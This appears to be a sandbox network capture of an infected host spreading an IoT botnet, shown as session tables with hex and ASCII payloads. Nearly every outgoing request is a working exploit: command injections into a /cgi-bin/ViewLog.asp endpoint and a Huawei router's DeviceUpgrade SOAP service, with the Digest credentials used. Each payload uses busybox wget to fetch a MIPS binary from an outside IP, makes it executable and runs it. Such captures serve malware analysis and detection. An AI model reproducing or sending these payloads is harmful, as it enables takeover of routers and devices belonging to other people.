Nov 23, 2023 05:18:18.950176001 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.13	33892	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.468574047 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 31 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:18Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.13	59592	62.145.136.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.764799118 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:18.976315975 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:18:18 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.13	50944	156.230.30.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.773201942 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:20.390248060 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:22.310153008 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	37058	95.158.28.8	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.774029016 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	39712	62.29.71.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.780862093 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	33908	154.64.18.77	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:18.807862997 CET	207	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 38 3a 31 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:18:18Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	53738	94.122.213.154	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:19.011120081 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	59574	62.145.136.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:19.356167078 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.454154968 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.658957005 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:18:19 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	36696	31.136.202.95	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:19.563906908 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.166147947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.354137897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	44654	95.249.18.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:19.570219994 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
